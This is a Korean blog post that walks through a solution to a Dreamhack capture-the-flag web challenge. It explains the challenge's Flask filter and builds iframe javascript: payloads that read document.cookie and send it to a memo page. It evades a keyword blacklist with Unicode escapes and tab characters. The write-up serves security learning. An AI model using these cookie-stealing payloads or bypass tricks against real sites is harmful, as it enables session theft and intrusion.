포스트

XSS 필터링 우회

드림핵 434번을 풀면서 XSS를 우회하는 방법을 알아본다

XSS 필터링 우회

Dreamhack #434 - XSS Filtering Bypass Advanced

Image

vuln(xss) page, memo, flag 세 개의 페이지가 있다

vuln(xss) page에 들어가면 /vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E로 리다이렉트된다
URL 디코딩을 해보면 /vuln?param=<img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>이다


1
2
3
4
5
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

param 파라미터에 페이로드를 받고 xss_filter() 함수로 필터링 과정을 거치는 것 같다


1
2
3
4
5
6
7
8
9
10
11
12
def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

xss_filter()에서는 웬만한 키워드들은 전부 필터링하고 있다
문제 제목이 XSS Bypass이니 이 필터를 우회해야 하는데 벌써부터 막막하다..

천천히 정리부터 해보면 /vuln에 param으로 페이로드가 들어가면 필터링 작업이 진행된다
필터에 걸리면 “filtered!!!” 문구를 출력한다


Image

다음으로 memo 페이지를 확인해보자
들어가면 /memo?memo=hello 경로로 리다이렉트되는데 새로고침을 할 때마다 필드에 hello라는 문자열이 추가되는 것으로 보아 memo 파라미터로 받는 문자열을 필드에 적는 것을 알 수 있다


1
2
3
4
5
6
7
8
memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

코드에서도 확인할 수 있다
아마 플래그가 이 필드에 적히도록 memo 파라미터에 플래그가 들어가도록 해야 하지 않을까 싶다..


Image

flag 페이지에는 폼과 제출 버튼이 있다
외관상 로컬호스트에서 vuln?param=으로 파라미터 값을 집어넣을 수 있는 것 같다
제출을 눌렀을 때 어떻게 동작하는지는 직접 코드를 봐야 알 것 같다


1
2
3
4
5
6
7
8
9
10
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

폼에 값을 입력하고 제출을 누르면 POST 요청이 간다

param에 입력값을 저장하고 check_xss() 함수에 인자로 함께 보낸다
인자로는 플래그 값이 포함된 딕셔너리가 함께 전달된다


1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss()에서 인자로 전달되는 딕셔너리는 cookie라는 이름으로 들어간다

로컬호스트에서 /vuln?param={urllib.parse.quote(param)} URL 경로가 cookie와 함께 read_url()로 전달된다


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

문제 파일을 Docker로 안전하게 빌드하기 위해 코드를 약간 수정했지만 풀이 방향은 같다

read_url() 함수는 셀레니움을 사용하여 로컬호스트에서 쿠키를 달고 url에 방문한다


천천히 정리해보고 뭘 해야 할 지 생각해보자
플래그를 찾아내는 것이 최종 목표이다

플래그는 flag 페이지에서 제출 버튼을 눌렀을 때 서버의 백그라운드에서 플래그가 저장된 쿠키를 가지고 특정 URL로 이동한다

그 특정 URL에서 XSS든 뭐든 뭐 어떻게 해가지고 서버가 쿠키를 memo에 적도록 만들어야 한다
그러려면 필터링 우회하는 과정은 필수적이고 이게 문제의 본질인 것이다


우회

vuln 페이지에 들어가 주소창에서 param 파라미터 값을 주면서 진행해볼 수도 있을 것 같다
하지만 /vuln에서 쓰이는 함수인 xss_filter()가 플래그와 관련되어 있지는 않다..

사용하게 된다면 필터링 우회 검증용으로 쓰일지도 모르겠다
플래그를 들고 작동하는게 flag 페이지 뿐이라서 그곳에서 무언갈 해야하는 것 같다


1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

flag 페이지에서 폼을 입력받으면 urllib.parse.quote() 함수로 보내진다

해당 함수는 %xx 이스케이프를 사용하여 문자열의 특수 문자를 치환한다
글자, 숫자, 일부 문자(_, ., -, ~)는 치환되지 않는다
예를 들어, quote("/Spa ce")는 /Spa%20ce로 치환된다

그렇게 param 파라미터 값을 받고 나면 그 값이 xss_filter()로 들어가서 필터링이 된다
필터링이 되지 않도록 param에 적절한 페이로드를 작성해서 셀레니움이 /memo?memo={쿠키}로 이동하게 하여 memo 페이지에 쿠키를 써지도록 하면 되겠다


1
location.href='/memo?memo='+parent.document.cookie;

쿠키를 갖고 특정 페이지로 이동할 수 있도록 하는 자바스크립트 코드를 로드할 수 있도록 하면 되겠다



풀이

iframe src 사용

iframe 태그를 사용하여 자바스크립트 코드를 실행할 수 있다
속성으로 src가 들어가는데 삽입할 페이지의 URL이 들어간다

악의적인 자바스크립트가 들어있는 페이지를 만들고 그 페이지의 URL을 줘볼까??
하지만 이러면 쿠키를 받아올 수 없다..
설령 가져올 수 있다고 해도 SOP나 CSP 등 정책까지 우회해야 한다


1
<iframe src="javascript:alert('1')">

src에 URL이 아닌 javascript: 스킴을 주면 URL로 인식하지 않고 자바스크립트 코드로 인식하여 실행하게 된다

본 블로그의 좌측 하단 이메일 아이콘에 커서를 올려두면 URL이 아니라 javascript:로 시작하는 경로가 나올 것이다
<a href="javascript:">
클릭해보면 페이지로 이동하지 않고 지정된 스크립트를 실행하는데 이와 같은 원리이다


1
<iframe src="javascript:location.href='/memo?memo='+parent.document.cookie">

이런 페이로드를 보내면 될 것 같다
하지만 필터링까지 우회해야 한다

parent

iframe은 문서 내에 문서를 하나 더 삽입하는 것인데 자식 문서가 부모 문서의 쿠키를 가져오도록 parent를 사용한다
하지만 본 문제에서는 크로미움 셀레니움이 사용되는데 자식 문서가 부모 문서를 상속하여 쿠키 참조가 가능하기 때문에 parent 없이 document.cookie만 사용해도 된다



1
locati\u006fn.href='memo?memo='+d\u006fcument.cookie

자바스크립트에서는 이스케이프 시퀀스로 특수문자나 입력 불가능한 문자를 표현하기도 한다
16진수로 표시된 유니코드 문자 \u006f는 문자 o로 해석되서 locati\u006f는 실행될 때 location으로 인식된다

어찌됐든 인자로는 locati\u006fn으로 들어가고 실행될 때는 location과 같은 동작을 한다
때문에 자바스크립트의 유니코드 이스케이프 시퀀스를 통해서 필터링을 우회할 수 있다


1
<iframe src="javascript:locati\u006fn.href='/memo?memo='+parent.d\u006fcument.cookie">

대신 여전히 javascript:가 필터링에 걸린다
javascript:는 자바스크립트 코드가 아닌 자바스크립트 스킴이기 때문에 유니코드 문자를 사용한 우회가 불가능하다


1
<iframe src="java   script:location.href='/memo?memo='+parent.document.cookie">

URL에서 ASCII 제어 문자 0x00-0x1f는 사용할 수 없다
urllib.parse는 URL의 탭 문자를 제거한다

때문에 탭 문자를 입력으로 주면 필터링에 걸리지 않고 실행될 때는 탭 문자가 제거되어서 우리가 원하는 동작을 수행하게 된다

참고로 탭 문자는 제어 문자이기 때문에 주소창에서 직접 탭 문자를 주는 것은 불가능하다
때문에 flag 페이지의 폼을 이용하여 탭 문자를 포함해 보내면 된다
(애초에 flag 페이제를 사용해야만 풀 수 있다)


Image

그러면 memo 페이지에 플래그가 출력된다
굳이 memo가 아니라 드림핵 리퀘스트 서버 같은 곳으로 보내도 되긴 한다

iframe 말고 img 태그로 onerror를 사용할 수는 없을까??

iframe은 문서(document)를 로드한다
때문에 src에 javacript: 스킴을 넣으면 자바스크립트 문서를 넣는 것처럼 동작하게 된다

img는 이미지 파일 등 리소스를 로드하는 태그이기 때문에 src로 javascript: 스킴이 들어오면 무시하거나 에러 처리를 한다



이 게시글은 저작권자의 CC BY 4.0 라이센스를 따릅니다.